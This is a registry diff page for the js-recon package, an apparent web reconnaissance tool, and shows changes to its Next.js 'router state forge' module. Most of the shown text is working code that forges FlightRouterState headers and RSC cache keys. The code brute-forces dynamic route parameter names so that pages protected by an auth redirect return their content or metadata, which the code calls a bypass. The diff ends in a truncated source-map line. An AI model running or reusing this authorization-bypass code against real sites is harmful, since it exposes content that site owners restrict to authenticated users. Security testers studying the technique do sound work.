@js-recon/js-recon 2.0.1-alpha.1 → 2.0.1-alpha.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. package/.github/dependabot.yml +50 -0
  2. package/.github/workflows/publish-js-recon.yml +25 -1
  3. package/CHANGELOG.md +21 -1
  4. package/build/cliProgram.js +27 -4
  5. package/build/cliProgram.js.map +1 -1
  6. package/build/exploit/utility/rawRequest.js +3 -1
  7. package/build/exploit/utility/rawRequest.js.map +1 -1
  8. package/build/globalConfig.js +1 -1
  9. package/build/lazyLoad/downloadQueue.js +4 -0
  10. package/build/lazyLoad/downloadQueue.js.map +1 -1
  11. package/build/lazyLoad/generic/generic_resolveScope.js +6 -1
  12. package/build/lazyLoad/generic/generic_resolveScope.js.map +1 -1
  13. package/build/lazyLoad/index.js +46 -12
  14. package/build/lazyLoad/index.js.map +1 -1
  15. package/build/lazyLoad/methodFilter.js +7 -1
  16. package/build/lazyLoad/methodFilter.js.map +1 -1
  17. package/build/lazyLoad/next_js/NextJsCrawler.js +61 -1
  18. package/build/lazyLoad/next_js/NextJsCrawler.js.map +1 -1
  19. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js +4 -0
  20. package/build/lazyLoad/next_js/next_GetLazyResourcesWebpackJs.js.map +1 -1
  21. package/build/lazyLoad/next_js/next_routerStateForge.js +105 -39
  22. package/build/lazyLoad/next_js/next_routerStateForge.js.map +1 -1
  23. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js +27 -3
  24. package/build/lazyLoad/nuxt_js/nuxt_stringAnalysisJSFiles.js.map +1 -1
  25. package/build/lazyLoad/react/react_sourcemapUrls.js +7 -28
  26. package/build/lazyLoad/react/react_sourcemapUrls.js.map +1 -1
  27. package/build/lazyLoad/sourcemap.js +120 -0
  28. package/build/lazyLoad/sourcemap.js.map +1 -1
  29. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js +13 -4
  30. package/build/lazyLoad/svelte/svelte_stringAnalysisJSFiles.js.map +1 -1
  31. package/build/lazyLoad/techDetect/index.js +4 -0
  32. package/build/lazyLoad/techDetect/index.js.map +1 -1
  33. package/build/lazyLoad/vue/vue_discoverJsFiles.js +2 -2
  34. package/build/lazyLoad/vue/vue_discoverJsFiles.js.map +1 -1
  35. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js +10 -1
  36. package/build/lazyLoad/vue/vue_reconstructSourceMaps.js.map +1 -1
  37. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js +2 -2
  38. package/build/lazyLoad/vue/vue_recursiveClientSidePathDownload.js.map +1 -1
  39. package/build/load/index.js +21 -32
  40. package/build/load/index.js.map +1 -1
  41. package/build/mcp/mcpServer.js +1 -1
  42. package/build/mcp/mcpServer.js.map +1 -1
  43. package/build/mcp/tools.js +1 -1
  44. package/build/mcp/tools.js.map +1 -1
  45. package/build/report/utility/dataTables/genDataTablesPage.js +2 -1
  46. package/build/report/utility/dataTables/genDataTablesPage.js.map +1 -1
  47. package/build/report/utility/genHtml.js +309 -18
  48. package/build/report/utility/genHtml.js.map +1 -1
  49. package/build/report/utility/markdownGen/addAnalyze.js +2 -1
  50. package/build/report/utility/markdownGen/addAnalyze.js.map +1 -1
  51. package/build/report/utility/severityColors.js +35 -0
  52. package/build/report/utility/severityColors.js.map +1 -0
  53. package/build/run/index.js +3 -3
  54. package/build/run/index.js.map +1 -1
  55. package/build/utility/cacheDb.js +78 -0
  56. package/build/utility/cacheDb.js.map +1 -0
  57. package/build/utility/customHeaders.js +30 -0
  58. package/build/utility/customHeaders.js.map +1 -0
  59. package/build/utility/globals.js +18 -1
  60. package/build/utility/globals.js.map +1 -1
  61. package/build/utility/makeReq.js +37 -86
  62. package/build/utility/makeReq.js.map +1 -1
  63. package/config.dist.yaml +3 -3
  64. package/package.json +2 -3
@@ -14,7 +14,11 @@ import { printMsg, MSG } from "../../utility/printMsg.js";
14
14
  /** Marker Next.js embeds in a Flight payload when a layout/page calls redirect(). */
15
15
  const NEXT_REDIRECT_MARKER = "NEXT_REDIRECT";
16
16
  /** Converts one ancestor segment to its FlightRouterState wire representation. */
17
- const toSegmentRepr = (segment) => typeof segment === "string" ? segment : [segment.paramName, segment.value, "d"];
17
+ const toSegmentRepr = (segment, tupleLength) => typeof segment === "string"
18
+ ? segment
19
+ : tupleLength === 4
20
+ ? [segment.paramName, segment.value, "d", null]
21
+ : [segment.paramName, segment.value, "d"];
18
22
  /** The literal URL path value of an ancestor segment, regardless of representation. */
19
23
  export const ancestorSegmentValue = (segment) => typeof segment === "string" ? segment : segment.value;
20
24
  /**
@@ -22,12 +26,13 @@ export const ancestorSegmentValue = (segment) => typeof segment === "string" ? s
22
26
  * claiming every segment in `ancestorSegments` is already client-rendered, with the
23
27
  * leaf segment either an ordinary `__PAGE__` node or (leafMode="metadata-only") a node
24
28
  * flagged so Next.js only re-executes `generateMetadata()` for it. Mirrors the
25
- * `flightRouterState[3]` check in `walk-tree-with-flight-router-state.tsx`.
29
+ * `flightRouterState[3]` check in `walk-tree-with-flight-router-state.tsx`. `tupleLength`
30
+ * only affects segments that are dynamic-ancestor claims (see `toSegmentRepr`).
26
31
  */
27
- export const buildStateTreeHeader = (ancestorSegments, leafMode = "page") => {
32
+ export const buildStateTreeHeader = (ancestorSegments, leafMode = "page", tupleLength = 4) => {
28
33
  let node = leafMode === "metadata-only" ? ["__PAGE__", {}, null, "metadata-only"] : ["__PAGE__", {}];
29
34
  for (let i = ancestorSegments.length - 1; i >= 0; i--) {
30
- node = [toSegmentRepr(ancestorSegments[i]), { children: node }];
35
+ node = [toSegmentRepr(ancestorSegments[i], tupleLength), { children: node }];
31
36
  }
32
37
  const tree = ["", { children: node }];
33
38
  return encodeURIComponent(JSON.stringify(tree));
@@ -101,27 +106,35 @@ const COMMON_DYNAMIC_PARAM_NAMES = [
101
106
  "key",
102
107
  ];
103
108
  /**
104
- * Ancestor-segment claims worth trying per candidate path: first segment only, every
105
- * segment but the leaf (both as plain static segments), and — for the latter, since a
106
- * static-segment guess can never match a real dynamic route — the same set with its last
107
- * segment additionally tried as each of `paramNameCandidates`. Defaults to
108
- * `COMMON_DYNAMIC_PARAM_NAMES`; `next_routerStateForge` also calls this with RSC-body-
109
- * harvested names as a fallback when the default list's guesses all fail.
109
+ * Ancestor-segment claims worth trying per candidate path, ordered from MOST to LEAST specific:
110
+ * every segment but the leaf, with its last segment tried as each of `paramNameCandidates`
111
+ * (the only shape that can actually match a real dynamic-route ancestor); then the same
112
+ * ancestor chain as plain static segments; then first-segment-only (the coarsest possible
113
+ * claim). Defaults to `COMMON_DYNAMIC_PARAM_NAMES`; `next_routerStateForge` also calls this
114
+ * with RSC-body-harvested names as a fallback when the default list's guesses all fail.
115
+ *
116
+ * Order matters: `tryAttempts` (in `next_routerStateForge`) returns on the first success it
117
+ * sees, so a weaker/coarser claim earlier in this list would prevent a stronger, more specific
118
+ * match later in the same leaf-mode pass from ever being tried — see internal-docs#172, where a
119
+ * bare single-segment claim (previously tried first) satisfied `metadata-only` leaf mode's
120
+ * success check without leaking real page content, masking a dynamic-ancestor match that would
121
+ * have.
110
122
  */
111
123
  export const buildAncestorAttempts = (pathSegments, paramNameCandidates = COMMON_DYNAMIC_PARAM_NAMES) => {
112
124
  if (pathSegments.length === 0)
113
125
  return [];
114
- const attempts = [[pathSegments[0]]];
126
+ const firstSegmentOnly = [pathSegments[0]];
115
127
  const allButLeaf = pathSegments.slice(0, -1);
116
- if (allButLeaf.length > 0 && allButLeaf.join("/") !== pathSegments[0]) {
117
- attempts.push(allButLeaf);
118
- const withoutLastAncestor = allButLeaf.slice(0, -1);
119
- const lastAncestorValue = allButLeaf[allButLeaf.length - 1];
120
- for (const paramName of paramNameCandidates) {
121
- attempts.push([...withoutLastAncestor, { paramName, value: lastAncestorValue }]);
122
- }
128
+ if (allButLeaf.length === 0 || allButLeaf.join("/") === pathSegments[0]) {
129
+ return [firstSegmentOnly];
123
130
  }
124
- return attempts;
131
+ const withoutLastAncestor = allButLeaf.slice(0, -1);
132
+ const lastAncestorValue = allButLeaf[allButLeaf.length - 1];
133
+ const dynamicGuessAttempts = paramNameCandidates.map((paramName) => [
134
+ ...withoutLastAncestor,
135
+ { paramName, value: lastAncestorValue },
136
+ ]);
137
+ return [...dynamicGuessAttempts, allButLeaf, firstSegmentOnly];
125
138
  };
126
139
  /** True when a Flight/RSC payload records a server-side redirect (the auth check actually ran). */
127
140
  export const containsNextRedirectMarker = (body) => body.includes(NEXT_REDIRECT_MARKER);
@@ -195,10 +208,12 @@ const resolveChunkUrl = (chunkPath, origin) => {
195
208
  const REQUEST_TIMEOUT_MS = 15000;
196
209
  /** Renders an ancestor-segment list back to its literal URL path, for the `Next-Url` header. */
197
210
  const ancestorsToPath = (ancestors) => ancestors.map(ancestorSegmentValue).join("/");
211
+ /** True when at least one ancestor segment is a dynamic-route claim (see `AncestorSegment`). */
212
+ const hasDynamicSegment = (ancestors) => ancestors.some((s) => typeof s !== "string");
198
213
  /** Sends one forged-ancestor RSC request and reports whether it looks like a successful bypass. */
199
- const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
214
+ const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout, tupleLength) => __awaiter(void 0, void 0, void 0, function* () {
200
215
  var _a;
201
- const stateTree = buildStateTreeHeader(ancestors, leafMode);
216
+ const stateTree = buildStateTreeHeader(ancestors, leafMode, tupleLength);
202
217
  const nextUrl = "/" + ancestorsToPath(ancestors);
203
218
  const rscKey = keyMode === "legacy" ? computeLegacyRscKey(stateTree, nextUrl) : computeStrongRscKey(stateTree, nextUrl);
204
219
  const forgedUrl = new URL(candidateUrl);
@@ -221,13 +236,34 @@ const attemptForge = (candidateUrl, ancestors, leafMode, keyMode, timeout) => __
221
236
  * Tries the cheap legacy key first (no SHA-256 needed); only computes and retries with the
222
237
  * strong key if the legacy attempt didn't succeed. Reports which key mode actually worked.
223
238
  */
224
- const attemptForgeWithKeyFallback = (candidateUrl, ancestors, leafMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
225
- const legacy = yield attemptForge(candidateUrl, ancestors, leafMode, "legacy", timeout);
239
+ const attemptForgeWithKeyFallback = (candidateUrl, ancestors, leafMode, timeout, tupleLength) => __awaiter(void 0, void 0, void 0, function* () {
240
+ const legacy = yield attemptForge(candidateUrl, ancestors, leafMode, "legacy", timeout, tupleLength);
226
241
  if (legacy.success)
227
242
  return Object.assign(Object.assign({}, legacy), { keyMode: "legacy" });
228
- const strong = yield attemptForge(candidateUrl, ancestors, leafMode, "strong", timeout);
243
+ const strong = yield attemptForge(candidateUrl, ancestors, leafMode, "strong", timeout, tupleLength);
229
244
  return Object.assign(Object.assign({}, strong), { keyMode: "strong" });
230
245
  });
246
+ /** Both dynamic-segment tuple lengths real Next.js servers can require — see `DynamicTupleLength`. */
247
+ const DYNAMIC_TUPLE_LENGTHS = [4, 3];
248
+ /**
249
+ * Wraps `attemptForgeWithKeyFallback` with a schema-shape fallback: an ancestor list with no
250
+ * dynamic segment is tried once (tuple length is irrelevant — no dynamic segment ever reaches
251
+ * `toSegmentRepr`'s tuple branch), but a list containing a dynamic-ancestor claim is retried
252
+ * under each of `DYNAMIC_TUPLE_LENGTHS` until one is accepted, since a black-box crawl can't
253
+ * know which schema shape the target's Next.js build expects (see `DynamicTupleLength`).
254
+ */
255
+ const attemptForgeWithSchemaFallback = (candidateUrl, ancestors, leafMode, timeout) => __awaiter(void 0, void 0, void 0, function* () {
256
+ if (!hasDynamicSegment(ancestors)) {
257
+ return attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout, 4);
258
+ }
259
+ let last = { success: false, body: "", keyMode: "legacy" };
260
+ for (const tupleLength of DYNAMIC_TUPLE_LENGTHS) {
261
+ last = yield attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout, tupleLength);
262
+ if (last.success)
263
+ return last;
264
+ }
265
+ return last;
266
+ });
231
267
  const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
232
268
  /**
233
269
  * For each candidate page URL that redirects an unauthenticated request, retries as an
@@ -239,7 +275,16 @@ const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
239
275
  * Two leaf modes are tried per candidate: an ordinary `page` claim (full body disclosure)
240
276
  * first, and — only if every `page` attempt fails — a `metadata-only` claim, which can
241
277
  * still leak dynamic `generateMetadata()` output even where a full-body claim doesn't
242
- * cleanly apply (e.g. a tenant-scoped layout).
278
+ * cleanly apply (e.g. a tenant-scoped layout). Within each leaf mode, `tryAttempts` returns
279
+ * on the first success it finds among `buildAncestorAttempts`' ordered list, so that list is
280
+ * ordered most-to-least specific (dynamic-ancestor guesses, then the static full-chain claim,
281
+ * then the coarse first-segment-only claim) — a weak/coarse match must never be allowed to
282
+ * short-circuit past a stronger, more specific one in the same pass (internal-docs#172).
283
+ *
284
+ * Every dynamic-ancestor guess is tried against both `DYNAMIC_TUPLE_LENGTHS` schema shapes
285
+ * (see `DynamicTupleLength`), since a black-box crawl can't know which Next.js release the
286
+ * target runs and the two shapes are mutually exclusive (Next.js's schema validation rejects
287
+ * both a too-short AND a too-long tuple).
243
288
  *
244
289
  * If every `COMMON_DYNAMIC_PARAM_NAMES` guess fails for both leaf modes, a bounded fallback
245
290
  * kicks in (internal#158): every response body already returned by those failed attempts
@@ -247,7 +292,14 @@ const DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT = 20;
247
292
  * `extractParamNameCandidatesFromFlightBody` for the app's real param name. If that turns up
248
293
  * any name not already in the fixed list, one bonus round of dynamic-guess attempts is tried
249
294
  * with those harvested names (capped at `rscParamBruteforceLimit`; `0` disables this
250
- * fallback entirely) — for each leaf mode, only if that leaf mode's fixed-list pass failed.
295
+ * fallback entirely) — for each leaf mode, whenever that leaf mode's fixed-list pass didn't
296
+ * already produce a dynamic-ancestor match (see `tryAttempts`' `matchedDynamic` flag). A
297
+ * *weak* fixed-list success (a static/coarse ancestor claim, not a dynamic one) still lets
298
+ * the harvest-bonus round run — otherwise a real param name outside the fixed wordlist could
299
+ * never be tried at all, because the coarse claim's own success would permanently mask it
300
+ * (internal-docs#172, confirmed live: the coarse first-segment claim satisfies
301
+ * `metadata-only`'s success check while the real dynamic-ancestor claim, only reachable via
302
+ * harvesting, reveals the actually-scoped content).
251
303
  */
252
304
  const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __awaiter(void 0, [candidateUrls_1, threads_1, ...args_1], void 0, function* (candidateUrls, threads, timeout = REQUEST_TIMEOUT_MS, rscParamBruteforceLimit = DEFAULT_RSC_PARAM_BRUTEFORCE_LIMIT) {
253
305
  const bypassedUrls = [];
@@ -285,11 +337,16 @@ const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __await
285
337
  const harvestedNames = new Set();
286
338
  const ancestorAttempts = buildAncestorAttempts(segments);
287
339
  /** Tries every attempt in `attempts` under `leafMode`, harvesting param-name
288
- * candidates from each body along the way; returns true and records the hit on the
289
- * first success. */
340
+ * candidates from each body along the way; records the hit and returns on the first
341
+ * success. `matchedDynamic` reports whether that success came from a dynamic-ancestor
342
+ * claim (the strongest possible match) as opposed to a static/coarse one — callers use
343
+ * it to decide whether a weak success should still be followed by the harvested-name
344
+ * bonus round (see internal-docs#172: a coarse match succeeding must not, by itself,
345
+ * prevent a stronger dynamic-ancestor match — recovered only via harvesting when the
346
+ * real param name isn't in the fixed wordlist — from being tried in the same pass). */
290
347
  const tryAttempts = (attempts, leafMode) => __awaiter(void 0, void 0, void 0, function* () {
291
348
  for (const ancestors of attempts) {
292
- const result = yield attemptForgeWithKeyFallback(candidateUrl, ancestors, leafMode, timeout);
349
+ const result = yield attemptForgeWithSchemaFallback(candidateUrl, ancestors, leafMode, timeout);
293
350
  if (lastAncestorValue && result.body) {
294
351
  for (const name of extractParamNameCandidatesFromFlightBody(result.body, lastAncestorValue)) {
295
352
  harvestedNames.add(name);
@@ -305,30 +362,39 @@ const next_routerStateForge = (candidateUrls_1, threads_1, ...args_1) => __await
305
362
  if (result.keyMode === "legacy")
306
363
  legacyKeyAcceptedUrls.push(candidateUrl);
307
364
  recordChunks(result.body);
308
- return true;
365
+ return { success: true, matchedDynamic: hasDynamicSegment(ancestors) };
309
366
  }
310
367
  }
311
- return false;
368
+ return { success: false, matchedDynamic: false };
312
369
  });
313
370
  /** Bonus round of dynamic-guess-only attempts built from names harvested so far but
314
371
  * not already covered by the fixed wordlist; `[]` (no-op) if nothing new was found
315
- * or the fallback is disabled. */
372
+ * or the fallback is disabled. `buildAncestorAttempts` orders dynamic guesses first,
373
+ * followed by the two static (allButLeaf, first-segment-only) attempts already tried
374
+ * in the fixed-list pass — drop those two trailing entries here. */
316
375
  const harvestBonusAttempts = () => {
317
376
  if (rscParamBruteforceLimit <= 0)
318
377
  return [];
319
378
  const newNames = [...harvestedNames].filter((n) => !COMMON_DYNAMIC_PARAM_NAMES.includes(n));
320
379
  if (newNames.length === 0)
321
380
  return [];
322
- return buildAncestorAttempts(segments, newNames.slice(0, rscParamBruteforceLimit)).slice(2);
381
+ return buildAncestorAttempts(segments, newNames.slice(0, rscParamBruteforceLimit)).slice(0, -2);
323
382
  };
324
- let bypassed = yield tryAttempts(ancestorAttempts, "page");
325
- if (!bypassed)
326
- bypassed = yield tryAttempts(harvestBonusAttempts(), "page");
327
- if (bypassed)
383
+ // A weak/coarse success (no dynamic-ancestor segment in the winning claim) does not
384
+ // skip the harvested-name bonus round — only a success that already matched a dynamic
385
+ // ancestor is the strongest result this pass can produce (internal-docs#172).
386
+ let pageResult = yield tryAttempts(ancestorAttempts, "page");
387
+ if (!pageResult.success || !pageResult.matchedDynamic) {
388
+ const bonusResult = yield tryAttempts(harvestBonusAttempts(), "page");
389
+ if (bonusResult.success)
390
+ pageResult = bonusResult;
391
+ }
392
+ if (pageResult.success)
328
393
  return;
329
- const metadataBypassed = yield tryAttempts(ancestorAttempts, "metadata-only");
330
- if (!metadataBypassed)
394
+ const metadataResult = yield tryAttempts(ancestorAttempts, "metadata-only");
395
+ if (!metadataResult.success || !metadataResult.matchedDynamic) {
331
396
  yield tryAttempts(harvestBonusAttempts(), "metadata-only");
397
+ }
332
398
  }));
333
399
  return {
334
400
  bypassedUrls: [...new Set(bypassedUrls)],
@@ -1 +1 @@
1
- {"version":3,"file":"next_routerStateForge.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_routerStateForge.ts"],"names":[],"mappings":"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